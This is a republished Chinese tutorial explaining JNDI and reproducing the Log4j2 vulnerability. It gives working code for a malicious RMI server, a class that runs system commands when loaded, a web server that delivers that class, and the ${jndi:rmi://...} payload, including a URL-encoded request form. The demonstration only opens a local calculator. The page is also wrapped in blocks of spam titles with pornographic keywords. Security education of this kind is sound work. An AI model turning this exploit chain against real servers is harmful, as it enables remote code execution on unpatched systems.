精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Log4j史詩級漏洞,從原理到實戰,只用3個實例就搞明白!

安全 漏洞
最近互聯網技術圈最火的一件事莫過于Log4j2的漏洞了。同時也涌現出了各類分析文章,關于漏洞的版本、漏洞的原因、漏洞的修復、程序員因此加班等等。

[[439999]]

本文轉載自微信公眾號「程序新視界」,作者二師兄。轉載本文請聯系程序新視界公眾號。

背景

最近互聯網技術圈最火的一件事莫過于Log4j2的漏洞了。同時也涌現出了各類分析文章,關于漏洞的版本、漏洞的原因、漏洞的修復、程序員因此加班等等。

經常看我文章的朋友都知道,面對這樣熱門有意思的技術點,怎能錯過深入分析一波呢?大概你也已經聽說了,造成漏洞的”罪魁禍首“是JNDI,今天我們就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是個什么鬼?好吧,如果你已經有一兩年的編程經驗,但還不了解JNDI,甚至沒聽說過。那么,要么趕緊換工作,要么趕緊讀讀這篇文章。

JNDI是個什么鬼?

說起JNDI,從事Java EE編程的人應該都在用著,但知不知道自己在用,那就看你對技術的鉆研深度了。這次Log4j2曝出漏洞,不正說明大量項目或直接或間接的在用著JNDI。來看看JNDI到底是個什么鬼吧?

先來看看Sun官方的解釋:

Java命名和目錄接口(Java Naming and Directory Interface ,JNDI)是用于從Java應用程序中訪問名稱和目錄服務的一組API。命名服務即將名稱與對象相關聯,以便能通過相應名稱訪問這些對象。而目錄服務即其對象具有屬性及名稱的命名服務。

命名或目錄服務允許你集中管理共享信息的存儲,這在網絡應用程序中很重要,因為它可以使這類應用程序更加一致和易于管理。例如,可以將打印機配置存儲在目錄服務中,這樣所有與打印機相關的應用程序都能夠使用它。

概念是不是很抽象,讀了好幾遍都沒懂?一圖勝千言:

naming_service

看著怎么有點注冊中心的意思?是的,如果你使用過Nacos或讀過Nacos的源碼,Naming Service這個概念一定很熟悉。在JNDI中,雖然實現方式不同、應用場景不同,但并不影響你通過類比注冊中心的方式來理解JNDI。

如果你說沒用過Nacos,那好,Map總用過吧。忽略掉JNDI與Map底層實現的區別,JNDI提供了一個類似Map的綁定功能,然后又提供了基于lookup或search之類的方法來根據名稱查找Object,好比Map的get方法。

總之,JNDI就是一個規范,規范就需要對應的API(也就是一些Java類)來實現。通過這組API,可以將Object(對象)和一個名稱進行關聯,同時提供了基于名稱查找Object的途徑。

最后,對于JNDI,SUN公司只是提供了一個接口規范,具體由對應的服務器來實現。比如,Tomcat有Tomcat的實現方式,JBoss有JBoss的實現方式,遵守規范就好。

命名服務與目錄服務的區別

命名服務就是上面提到的,類似Map的綁定與查找功能。比如:在Internet中的域名服務(domain naming service,DNS),就是提供將域名映射到IP地址的命名服務,在瀏覽器中輸入域名,通過DNS找到相應的IP地址,然后訪問網站。

目錄服務是對命名服務的擴展,是一種特殊的命名服務,提供了屬性與對象的關聯和查找。一個目錄服務通常擁有一個命名服務(但是一個命名服務不必具有一個目錄服務)。比如電話簿就是一個典型的目錄服務,一般先在電話簿里找到相關的人名,再找到這個人的電話號碼。

目錄服務允許屬性(比如用戶的電子郵件地址)與對象相關聯(而命名服務則不然)。這樣,使用目錄服務時,可以基于對象的屬性來搜索它們。

JNDI架構分層

JNDI通常分為三層:

  • JNDI API:用于與Java應用程序與其通信,這一層把應用程序和實際的數據源隔離開來。因此無論應用程序是訪問LDAP、RMI、DNS還是其他的目錄服務,跟這一層都沒有關系。
  • Naming Manager:也就是我們提到的命名服務;
  • JNDI SPI(Server Provider Interface):用于具體到實現的方法上。

整體架構分層如下圖:

JNDI架構

需要注意的是:JNDI同時提供了應用程序編程接口(Application Programming Interface ,API)和服務提供程序接口(Service Provider Interface ,SPI)。

這樣做對于與命名或目錄服務交互的應用程序來說,必須存在一個用于該服務的JNDI服務提供程序,這便是JNDI SPI發揮作用的舞臺。

一個服務提供程序基本上就是一組類,對特定的命名和目錄服務實現了各種JNDI接口——這與JDBC驅動程序針對特定的數據系統實現各種JDBC接口極為相似。作為開發人員,不需要擔心JNDI SPI。只需確保為每個要使用的命名或目錄服務提供了一個服務提供程序即可。

JNDI的應用

下面再了解一下JNDI容器的概念及應用場景。

JNDI容器環境

JNDI中的命名(Naming),就是將Java對象以某個名稱的形式綁定(binding)到一個容器環境(Context)中。當使用時,調用容器環境(Context)的查找(lookup)方法找出某個名稱所綁定的Java對象。

容器環境(Context)本身也是一個Java對象,它也可以通過一個名稱綁定到另一個容器環境(Context)中。將一個Context對象綁定到另外一個Context對象中,這就形成了一種父子級聯關系,多個Context對象最終可以級聯成一種樹狀結構,樹中的每個Context對象中都可以綁定若干個Java對象。

jndi-context-tree

JNDI 應用

JNDI的基本使用操作就是:先創建一個對象,然后放到容器環境中,使用的時候再拿出來。

此時,你是否疑惑,干嘛這么費勁呢?換句話說,這么費勁能帶來什么好處呢?

在真實應用中,通常是由系統程序或框架程序先將資源對象綁定到JNDI環境中,后續在該系統或框架中運行的模塊程序就可以從JNDI環境中查找這些資源對象了。

關于JDNI與我們實踐相結合的一個例子是JDBC的使用。在沒有基于JNDI實現時,連接一個數據庫通常需要:加載數據庫驅動程序、連接數據庫、操作數據庫、關閉數據庫等步驟。而不同的數據庫在對上述步驟的實現又有所不同,參數也可能發生變化。

如果把這些問題交由J2EE容器來配置和管理,程序就只需對這些配置和管理進行引用就可以了。

以Tomcat服務器為例,在啟動時可以創建一個連接到某種數據庫系統的數據源(DataSource)對象,并將該數據源(DataSource)對象綁定到JNDI環境中,以后在這個Tomcat服務器中運行的Servlet和JSP程序就可以從JNDI環境中查詢出這個數據源(DataSource)對象進行使用,而不用關心數據源(DataSource)對象是如何創建出來的。

JNDI-Tree

這種方式極大地增強了系統的可維護性,即便當數據庫系統的連接參數發生變更時,也與應用程序開發人員無關。JNDI將一些關鍵信息放到內存中,可以提高訪問效率;通過 JNDI可以達到解耦的目的,讓系統更具可維護性和可擴展性。

JNDI實戰

有了以上的概念和基礎知識,現在可以開始實戰了。

在架構圖中,JNDI的實現層中包含了多種實現方式,這里就基于其中的RMI實現來寫個實例體驗一把。

基于RMI的實現

RMI是Java中的遠程方法調用,基于Java的序列化和反序列化傳遞數據。

可以通過如下代碼來搭建一個RMI服務:

  1. // ①定義接口 
  2. public interface RmiService extends Remote { 
  3.  String sayHello() throws RemoteException; 
  4.  
  5. // ②接口實現 
  6. public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService { 
  7.  protected MyRmiServiceImpl() throws RemoteException { 
  8.  } 
  9.  
  10.  @Override 
  11.  public String sayHello() throws RemoteException { 
  12.   return "Hello World!"
  13.  } 
  14.  
  15. // ③服務綁定并啟動監聽 
  16. public class RmiServer { 
  17.  
  18.  public static void main(String[] args) throws Exception { 
  19.   Registry registry = LocateRegistry.createRegistry(1099); 
  20.   System.out.println("RMI啟動,監聽:1099 端口"); 
  21.   registry.bind("hello", new MyRmiServiceImpl()); 
  22.   Thread.currentThread().join(); 
  23.  } 

上述代碼先定義了一個RmiService的接口,該接口實現了Remote,并對RmiService接口進行了實現。在實現的過程中繼承了UnicastRemoteObject的具體服務實現類。

最后,在RmiServer中通過Registry監聽1099端口,并將RmiService接口的實現類進行了綁定。

下面構建客戶端訪問:

  1. public class RmiClient { 
  2.  
  3.  public static void main(String[] args) throws Exception { 
  4.   Hashtable env = new Hashtable(); 
  5.   env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  6.   env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 
  7.   Context ctx = new InitialContext(env); 
  8.   RmiService service = (RmiService) ctx.lookup("hello"); 
  9.   System.out.println(service.sayHello()); 
  10.  } 

其中,提供了兩個參數Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分別表示Context初始化的工廠方法和提供服務的url。

執行上述程序,就可以獲得遠程端的對象并調用,這樣就實現了RMI的通信。當然,這里Server和Client在同一臺機器,就用了”localhost“的,如果是遠程服務器,則替換成對應的IP即可。

構建攻擊

常規來說,如果要構建攻擊,只需偽造一個服務器端,返回惡意的序列化Payload,客戶端接收之后觸發反序列化。但實際上對返回的類型是有一定的限制的。

在JNDI中,有一個更好利用的方式,涉及到命名引用的概念javax.naming.Reference。

如果一些本地實例類過大,可以選擇一個遠程引用,通過遠程調用的方式,引用遠程的類。這也就是JNDI利用Payload還會涉及HTTP服務的原因。

RMI服務只會返回一個命名引用,告訴JNDI應用該如何去尋找這個類,然后應用則會去HTTP服務下找到對應類的class文件并加載。此時,只要將惡意代碼寫入static方法中,則會在類加載時被執行。

基本流程如下:

RMI攻擊流程

修改RmiServer的代碼實現:

  1. public class RmiServer { 
  2.  
  3.  public static void main(String[] args) throws Exception { 
  4.   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  5.   Registry registry = LocateRegistry.createRegistry(1099); 
  6.   System.out.println("RMI啟動,監聽:1099 端口"); 
  7.   Reference reference = new Reference("Calc""Calc""http://127.0.0.1:8000/"); 
  8.   ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
  9.   registry.bind("hello", referenceWrapper); 
  10.  
  11.   Thread.currentThread().join(); 
  12.  } 

由于采用的Java版本較高,需先將系統變量com.sun.jndi.rmi.object.trustURLCodebase設置為true。

其中綁定的Reference涉及三個變量:

  • className:遠程加載時所使用的類名,如果本地找不到這個類名,就去遠程加載;
  • classFactory:遠程的工廠類;
  • classFactoryLocation:工廠類加載的地址,可以是file://、ftp://、http:// 等協議;

此時,通過Python啟動一個簡單的HTTP監聽服務:

  1. 192:~ zzs$ python -m SimpleHTTPServer 
  2. Serving HTTP on 0.0.0.0 port 8000 ... 

打印日志,說明在8000端口進行了http的監聽。

對應的客戶端代碼修改為如下:

  1. public class RmiClient { 
  2.  
  3.  public static void main(String[] args) throws Exception { 
  4.   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  5.   Hashtable env = new Hashtable(); 
  6.   env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  7.   env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 
  8.   Context ctx = new InitialContext(env); 
  9.   ctx.lookup("hello"); 
  10.  } 

執行,客戶端代碼,發現Python監聽的服務打印如下:

  1. 127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found 
  2. 127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 - 

可見,客戶端已經去遠程加載惡意class(Calc.class)文件了,只不過Python服務并沒有返回對應的結果而已。

進一步改造

上述代碼證明了可以通過RMI的形式進行攻擊,下面基于上述代碼和Spring Boot Web服務的形式進一步演示。通過JNDI注入+RMI的形式調用起本地的計算器。

上述的基礎代碼不變,后續只微調RmiServer和RmiClient類,同時添加一些新的類和方法。

第一步:構建攻擊類

創建一個攻擊類BugFinder,用于啟動本地的計算器:

  1. public class BugFinder { 
  2.  
  3.  public BugFinder() { 
  4.   try { 
  5.    System.out.println("執行漏洞代碼"); 
  6.    String[] commands = {"open""/System/Applications/Calculator.app"}; 
  7.    Process pc = Runtime.getRuntime().exec(commands); 
  8.    pc.waitFor(); 
  9.    System.out.println("完成執行漏洞代碼"); 
  10.   } catch (Exception e) { 
  11.    e.printStackTrace(); 
  12.   } 
  13.  } 
  14.  
  15.  public static void main(String[] args) { 
  16.   BugFinder bugFinder = new BugFinder(); 
  17.  } 
  18.  

本人是Mac操作系統,代碼中就基于Mac的命令實現方式,通過Java命令調用Calculator.app。同時,當該類被初始化時,會執行啟動計算器的命令。

將上述代碼進行編譯,存放在一個位置,這里單獨copy出來放在了”/Users/zzs/temp/BugFinder.class“路徑,以備后用,這就是攻擊的惡意代碼了。

第二步:構建Web服務器

Web服務用于RMI調用時返回攻擊類文件。這里采用Spring Boot項目,核心實現代碼如下:

  1. @RestController 
  2. public class ClassController { 
  3.  
  4.  @GetMapping(value = "/BugFinder.class"
  5.  public void getClass(HttpServletResponse response) { 
  6.   String file = "/Users/zzs/temp/BugFinder.class"
  7.   FileInputStream inputStream = null
  8.   OutputStream os = null
  9.   try { 
  10.    inputStream = new FileInputStream(file); 
  11.    byte[] data = new byte[inputStream.available()]; 
  12.    inputStream.read(data); 
  13.    os = response.getOutputStream(); 
  14.    os.write(data); 
  15.    os.flush(); 
  16.   } catch (Exception e) { 
  17.    e.printStackTrace(); 
  18.   } finally { 
  19.    // 省略流的判斷關閉; 
  20.   } 
  21.  } 

在該Web服務中,會讀取BugFinder.class文件,并返回給RMI服務。重點提供了一個Web服務,能夠返回一個可執行的class文件。

第三步:修改RmiServer

對RmiServer的綁定做一個修改:

  1. public class RmiServer { 
  2.  
  3.  public static void main(String[] args) throws Exception { 
  4.   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  5.   Registry registry = LocateRegistry.createRegistry(1099); 
  6.   System.out.println("RMI啟動,監聽:1099 端口"); 
  7.   Reference reference = new Reference("com.secbro.rmi.BugFinder""com.secbro.rmi.BugFinder""http://127.0.0.1:8080/BugFinder.class"); 
  8.   ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
  9.   registry.bind("hello", referenceWrapper); 
  10.  
  11.   Thread.currentThread().join(); 
  12.  } 

這里Reference傳入的參數就是攻擊類及遠程下載的Web地址。

第四步:執行客戶端代碼

執行客戶端代碼進行訪問:

  1. public class RmiClient { 
  2.  
  3.  public static void main(String[] args) throws Exception { 
  4.   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  5.   Hashtable env = new Hashtable(); 
  6.   env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  7.   env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 
  8.   Context ctx = new InitialContext(env); 
  9.   ctx.lookup("hello"); 
  10.  } 

本地計算器被打開:

RMI Client

基于Log4j2的攻擊

上面演示了基本的攻擊模式,基于上述模式,我們再來看看Log4j2的漏洞攻擊。

在Spring Boot項目中引入了log4j2的受影響版本:

  1. <dependency> 
  2.  <groupId>org.springframework.boot</groupId> 
  3.  <artifactId>spring-boot-starter-web</artifactId> 
  4.  <exclusions><!-- 去掉springboot默認配置 --> 
  5.   <exclusion> 
  6.    <groupId>org.springframework.boot</groupId> 
  7.    <artifactId>spring-boot-starter-logging</artifactId> 
  8.    </exclusion> 
  9.   </exclusions> 
  10. </dependency> 
  11.  
  12. <dependency> <!-- 引入log4j2依賴 --> 
  13.    <groupId>org.springframework.boot</groupId> 
  14.    <artifactId>spring-boot-starter-log4j2</artifactId> 
  15. </dependency> 

 

這里需要注意,先排除掉Spring Boot默認的日志,否則可能無法復現Bug。

修改一下RMI的Server代碼:

  1. public class RmiServer { 
  2.  
  3.  public static void main(String[] args) throws Exception { 
  4.   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  5.   Registry registry = LocateRegistry.createRegistry(1099); 
  6.   System.out.println("RMI啟動,監聽:1099 端口"); 
  7.   Reference reference = new Reference("com.secbro.rmi.BugFinder""com.secbro.rmi.BugFinder"null); 
  8.   ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
  9.   registry.bind("hello", referenceWrapper); 
  10.   Thread.currentThread().join(); 
  11.  } 

這里直接訪問BugFinder,JNDI綁定名稱為:hello。

客戶端引入Log4j2的API,然后記錄日志:

  1. import org.apache.logging.log4j.LogManager; 
  2. import org.apache.logging.log4j.Logger; 
  3.  
  4. public class RmiClient { 
  5.  
  6.  private static final Logger logger = LogManager.getLogger(RmiClient.class); 
  7.  
  8.  public static void main(String[] args) throws Exception { 
  9.   System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  10.   logger.error("${jndi:rmi://127.0.0.1:1099/hello}"); 
  11.   Thread.sleep(5000); 
  12.  } 

日志中記錄的信息為“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和綁定的名稱。

執行程序,發現計算器被成功打開。

當然,在實際應用中,logger.error中記錄的日志信息,可能是通過參數獲得,比如在Spring Boot中定義如下代碼:

  1. @RestController 
  2. public class Log4jController { 
  3.  
  4.  private static final Logger logger = LogManager.getLogger(Log4jController.class); 
  5.  
  6.  /** 
  7.   * 方便測試,用了get請求 
  8.   * @param username 登錄名稱 
  9.   */ 
  10.  @GetMapping("/a"
  11.  public void log4j(String username){ 
  12.   System.out.println(username); 
  13.   // 打印登錄名稱 
  14.   logger.info(username); 
  15.  } 

在瀏覽器中請求URL為:

  1. http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D 

其中username參數的值就是“${jndi:rmi://127.0.0.1:1099/hello}”經過URLEncoder#encode編碼之后的值。此時,訪問該URL地址,同樣可以將打開計算器。

至于Log4j2內部邏輯漏洞觸發JNDI調用的部分就不再展開了,感興趣的朋友在上述實例上進行debug即可看到完整的調用鏈路。

小結

本篇文章通過對Log4j2漏洞的分析,不僅帶大家了解了JNDI的基礎知識,而且完美重現了一次基于JNDI的工具。本文涉及到的代碼都是本人親自實驗過的,強烈建議大家也跑一遍代碼,真切感受一下如何實現攻擊邏輯。

JNDI注入事件不僅在Log4j2中發生過,而且在大量其他框架中也有出現。雖然JDNI為我們帶來了便利,但同時也帶了風險。不過在實例中大家也看到在JDK的高版本中,不進行特殊設置(com.sun.jndi.rmi.object.trustURLCodebase設置為true),還是無法觸發漏洞的。這樣也多少讓人放心一些。

另外,如果你的系統中真的出現此漏洞,強烈建議馬上修復。在此漏洞未被報道之前,可能只有少數人知道。一旦眾人皆知,躍躍欲試的人就多了,趕緊防護起來吧。

 

責任編輯:武曉燕 來源: 程序新視界
相關推薦

2022-05-30 14:04:23

Log4j遠程代碼漏洞

2021-12-11 13:22:10

漏洞公司Log4j

2021-12-13 01:49:34

漏洞Log4j代碼

2022-03-25 13:42:15

Log4j漏洞網絡安全

2021-12-11 19:04:38

漏洞

2022-02-15 17:51:38

Log4j漏洞網絡安全

2021-12-23 09:47:36

Log4jRCE漏洞DoS漏洞

2022-03-30 11:29:53

漏洞補丁Spring

2021-12-14 23:44:26

漏洞Log4j項目

2021-12-24 09:52:31

Traefik Log4J 漏洞

2021-12-23 11:03:25

Log4j 漏洞漏洞

2022-01-24 10:02:53

漏洞微軟網絡攻擊

2020-01-07 10:06:26

Slf4jLog4JLogback

2022-01-06 09:52:39

Log4j漏洞攻擊

2023-11-10 10:08:23

2022-01-02 07:07:55

CISAApache Log4漏洞

2021-12-22 13:52:40

Log4j漏洞谷歌

2021-12-26 14:46:03

Log4j漏洞網絡攻擊網絡安全

2021-12-30 08:55:41

Log4j2FastJson漏洞

2022-02-13 16:18:57

JetBrainsIntelliJLog4j
點贊
收藏

51CTO技術棧公眾號

日本少妇毛茸茸| 成人国产一区二区三区| 国产字幕在线观看| 久久综合99| 日韩精品一区二区三区视频| 国产69精品久久久久999小说| 艳母动漫在线看| 久久电影网站中文字幕| 久久久久久91香蕉国产| 性の欲びの女javhd| 日韩高清在线观看一区二区| 欧美性猛xxx| 麻豆中文字幕在线观看| 日本激情视频网站| 毛片av一区二区| 97人人爽人人喊人人模波多| 国产成人精品视频免费| 欧美电影在线观看免费| 在线播放国产精品二区一二区四区 | 极品少妇一区二区| 97久久精品视频| 国产高潮流白浆| 欧美精美视频| 亚洲成人精品久久| 久久6免费视频| 成人影院av| 一区二区国产视频| 一区二区三区四区欧美日韩| 欧洲一级在线观看| hitomi一区二区三区精品| 91精品在线观看视频| 五月天激情四射| 亚洲第一伊人| 久久99亚洲热视| 欧美日韩国产一二三区| 免费精品国产| 亚洲国产精品热久久| ass极品水嫩小美女ass| 黄色成人小视频| 91黄色免费网站| 国产精品无码av在线播放| 在线视频观看国产| 日韩毛片高清在线播放| 日韩欧美精品一区二区| 你懂的视频在线| 91小视频在线| 九色综合婷婷综合| 婷婷丁香一区二区三区| a在线欧美一区| 成人免费看片网站| 亚洲风情第一页| 国产精品1区2区3区在线观看| 91精品视频在线免费观看| 一二区在线观看| 免费人成在线不卡| 国产精品一区二区三区毛片淫片 | 欧美影院一区二区| 美女网站免费观看视频| 97人人做人人爽香蕉精品| 欧美亚洲免费在线一区| 91视频免费版污| 69堂免费精品视频在线播放| 91成人在线免费观看| 免费观看成人在线视频| 姬川优奈av一区二区在线电影| 91黄色在线观看| 色婷婷狠狠18| 99re8精品视频在线观看| 91精品国产aⅴ一区二区| www.51色.com| 亚洲大奶少妇| 亚洲国内精品在线| 全黄一级裸体片| 日韩欧美精品综合| 九九九久久国产免费| 国产一级做a爰片在线看免费| 黄色在线一区| 秋霞午夜一区二区| 国产精品欧美综合| 韩国女主播成人在线观看| 99精品99久久久久久宅男| 蜜桃av鲁一鲁一鲁一鲁俄罗斯的 | 91精品国产综合久久香蕉的特点| 午夜免费看毛片| 9l视频自拍蝌蚪9l视频成人| 亚洲精品www久久久久久广东| 不卡一区二区在线观看| 区一区二视频| 九色精品免费永久在线| 天天操天天干视频| 免费的国产精品| 成人午夜电影免费在线观看| 涩爱av在线播放一区二区| 国产精品三级视频| 又大又硬又爽免费视频| gogo亚洲高清大胆美女人体| 欧美一级日韩一级| 免费成人蒂法网站| 91一区二区| 久久久久久久激情视频| 午夜一级黄色片| 国产精品综合视频| 欧美亚洲精品日韩| 97超碰资源站在线观看| 色婷婷亚洲精品| 国产农村妇女精品久久| 国产精品免费大片| 欧美高跟鞋交xxxxxhd| 欧美日韩 一区二区三区| 国产成人精品午夜视频免费| 日本一区二区三区www| 污片在线免费观看| 欧美色国产精品| 精品国产人妻一区二区三区| 欧美国产美女| 国产精品福利网站| 熟妇高潮一区二区三区| 亚洲精品欧美综合四区| 手机看片福利盒子久久| 久久精品国产亚洲blacked| 久久精品一区中文字幕| 午夜一区二区三区四区| av在线这里只有精品| 国产精品亚洲天堂| 成人在线视频观看| 亚洲欧美国产精品| 日韩免费不卡视频| 国产伦精品一区二区三区免费迷| 色综合电影网| gay欧美网站| 精品动漫一区二区三区在线观看| 国产3级在线观看| 日韩精品一区第一页| 精品乱码一区二区三区| wwwww亚洲| 日韩一区二区在线观看视频| www.99re6| 麻豆精品久久精品色综合| 欧美另类一区| 中国字幕a在线看韩国电影| 精品福利一二区| 久久久久久免费观看| 国产精品99久| www.亚洲一区二区| avtt久久| 欧美成在线观看| 性生活视频软件| 一区二区三区欧美| aaa黄色大片| 欧美视频不卡| 国产免费高清一区| 理论不卡电影大全神| 亚洲精品美女免费| www.国产com| 2014亚洲片线观看视频免费| 韩国一区二区av| 清纯唯美综合亚洲| 亚洲va欧美va在线观看| av中文字幕在线观看| 欧美大胆一级视频| 国产在线成人精品午夜| av在线不卡免费看| 一本久道综合色婷婷五月| 欧美一区二区性| 91手机视频在线观看| 91精品久久| 精品av久久707| 天天干天天干天天干天天| 国产三区在线成人av| 色国产在线视频| 亚洲精品小说| 国产chinese精品一区二区| а√在线中文在线新版| 亚洲精品少妇网址| 伊人亚洲综合网| 亚洲男同1069视频| 毛茸茸free性熟hd| 久久久久看片| 最新视频 - x88av| 日韩成人一级| 91精品国产综合久久香蕉的用户体验| www在线视频| 日韩精品电影网| 亚洲自拍偷拍另类| 亚洲国产毛片aaaaa无费看| 欧美色图亚洲激情| 久久av资源网| 九九爱精品视频| 欧美国产一区二区三区激情无套| aa成人免费视频| 国产精品高清乱码在线观看| 久久天天躁狠狠躁夜夜av| 亚洲av成人精品一区二区三区在线播放| 色婷婷综合久色| 亚洲熟女www一区二区三区| 久久久综合视频| 熟妇女人妻丰满少妇中文字幕| 男人的天堂成人在线| eeuss中文| 精品一区三区| 国产精品jizz视频| 欧美一级免费| 青青草原成人在线视频| 色呦呦久久久| 最近更新的2019中文字幕 | 国产精品综合一区二区三区| 99精品免费在线观看| 欧美黄免费看| 亚洲毛片aa| 日韩最新在线| 99九九电视剧免费观看| 欧美亚洲二区| 国产精品第二页| 亚洲欧洲高清| 欧美激情亚洲激情| 日本高清视频在线播放| 亚洲情综合五月天| 免费观看a视频| 777久久久精品| 性高潮视频在线观看| 欧美日韩久久久久| 国产一级一级片| 亚洲精品国产视频| 任我爽在线视频| 国产欧美一区二区在线观看| 欧美深性狂猛ⅹxxx深喉| 国产精品1区二区.| 国产xxxxhd| 国产一区二区美女诱惑| 日本中文字幕影院| 青草国产精品久久久久久| 激情网站五月天| 一区二区三区成人精品| 日韩日韩日韩日韩日韩| 黄色成人精品网站| 日本高清视频免费在线观看| 午夜精品毛片| 欧美三级午夜理伦三级老人| 四虎成人av| 在线观看亚洲视频啊啊啊啊| 久久精品国产亚洲夜色av网站| 日韩av高清| 久久97视频| 日韩av不卡播放| 欧美色网址大全| 亚洲图片小说在线| 色综合咪咪久久网| 亚洲午夜精品国产| 欧美韩国日本在线观看| 亚洲一区二区在| 久久久精品久久久久久96| 欧美性受黑人性爽| 午夜亚洲福利| www.av毛片| 欧美亚洲三区| 91香蕉视频导航| 另类小说欧美激情| 亚洲精品在线视频播放| 国产精品1区2区3区| 白嫩情侣偷拍呻吟刺激| va亚洲va日韩不卡在线观看| 青青草成人免费视频| 久久免费视频色| 在线观看免费黄色网址| 国产精品久久久久三级| 国产日韩欧美在线观看视频| 一区二区三区四区国产精品| 日韩伦人妻无码| 欧美在线免费播放| 国产美女自慰在线观看| 日韩天堂在线观看| 天天操天天爱天天干| 亚洲欧洲第一视频| 免费a级毛片在线播放| 欧美精品手机在线| 亚洲妇女成熟| 国产日韩欧美在线看| 8848成人影院| 秋霞在线观看一区二区三区| 中文字幕日韩一区二区不卡 | 啦啦啦中文在线观看日本| 欧美又大又粗又长| 91九色综合| 国产精品日韩欧美一区二区三区 | 久久久天堂国产精品| 亚洲黄色三级| 日日噜噜夜夜狠狠| 成人黄色一级视频| 91视频免费在观看| 亚洲一区二区3| 成人免费毛片视频| 日韩一区二区三区电影| 青青草观看免费视频在线| 日韩中文字幕视频| 欧美激情网站| 成人做爰www免费看视频网站| 大陆精大陆国产国语精品| 色噜噜狠狠色综合网| 欧美日韩一区二区国产| 一级特黄性色生活片| 国产成人免费av在线| 国产真人真事毛片视频| 亚洲动漫第一页| 国产精品久久久国产盗摄| 日韩高清欧美高清| 1024在线播放| 国产精品一区二区久久国产| 日本久久成人网| 国产日韩欧美大片| 奇米888四色在线精品| 捆绑裸体绳奴bdsm亚洲| 亚洲欧美日韩国产手机在线 | 日韩精品欧美成人高清一区二区| www.桃色.com| 国产精品久久久久影视| 麻豆精品久久久久久久99蜜桃| 日韩片之四级片| 亚洲图片88| 国产精品伦子伦免费视频| 欧美网色网址| 人妻互换免费中文字幕| 国产一区二区按摩在线观看| avhd101老司机| 一本大道av伊人久久综合| 欧洲精品久久一区二区| 久久99视频精品| www.欧美| 一级特黄录像免费播放全99| 日韩精品成人一区二区三区 | 国产精品jk白丝蜜臀av小说| 影音先锋男人的网站| 六月丁香婷婷久久| 高清国产在线观看| 91精品1区2区| av在线二区| 国产成人a亚洲精品| 亚洲春色h网| 精品久久久久久久免费人妻| 26uuu精品一区二区| 国产成人亚洲欧洲在线| 日韩av中文字幕在线播放| 国产高清视频色在线www| 国产精品一区免费观看| 亚洲国产综合在线看不卡| 白嫩情侣偷拍呻吟刺激| 精品国产91久久久久久| 手机在线观看毛片| 浅井舞香一区二区| 国产免费av一区二区三区| 欧美日韩亚洲一二三| 久久精品亚洲麻豆av一区二区 | 91精品国产日韩91久久久久久| 嫩草在线视频| 亚洲一区二区三区在线免费观看| 婷婷综合伊人| 欧美性猛交乱大交| 亚洲一区二区三区中文字幕| 熟妇高潮一区二区高潮| 欧洲一区二区视频| 精品久久久久中文字幕小说| www.日日操| 国产精品久久福利| 性猛交富婆╳xxx乱大交天津| 欧美激情a在线| 欧美美女啪啪| 可以在线看的黄色网址| 国产精品女同一区二区三区| 国产免费久久久| 久久久久国产一区二区三区| 亚洲瘦老头同性70tv| 免费一区二区三区在线观看| 一区二区三区资源| 色视频在线看| 国产精品入口尤物| 欧美日本在线| 成人午夜福利一区二区| 欧美日韩大陆一区二区| 牛牛精品在线| 日本一区二区三区视频在线观看| 久久精品国产亚洲高清剧情介绍| 91porn在线视频| 亚洲男人第一av网站| 香蕉久久一区| 国产 日韩 亚洲 欧美| 国产日产欧美一区二区视频| 91久久久久久久久久久久| 久久久久国产精品免费网站| 欧美午夜精彩| 成人在线观看一区二区| 欧美三级中文字幕| 黄色成人在线网| 婷婷精品国产一区二区三区日韩| 国产成人在线视频网址| 亚洲国产av一区二区三区| 久久色精品视频| 婷婷精品视频| 中文字幕avav| 在线观看日韩电影| jizz一区二区三区| 日韩视频在线免费播放|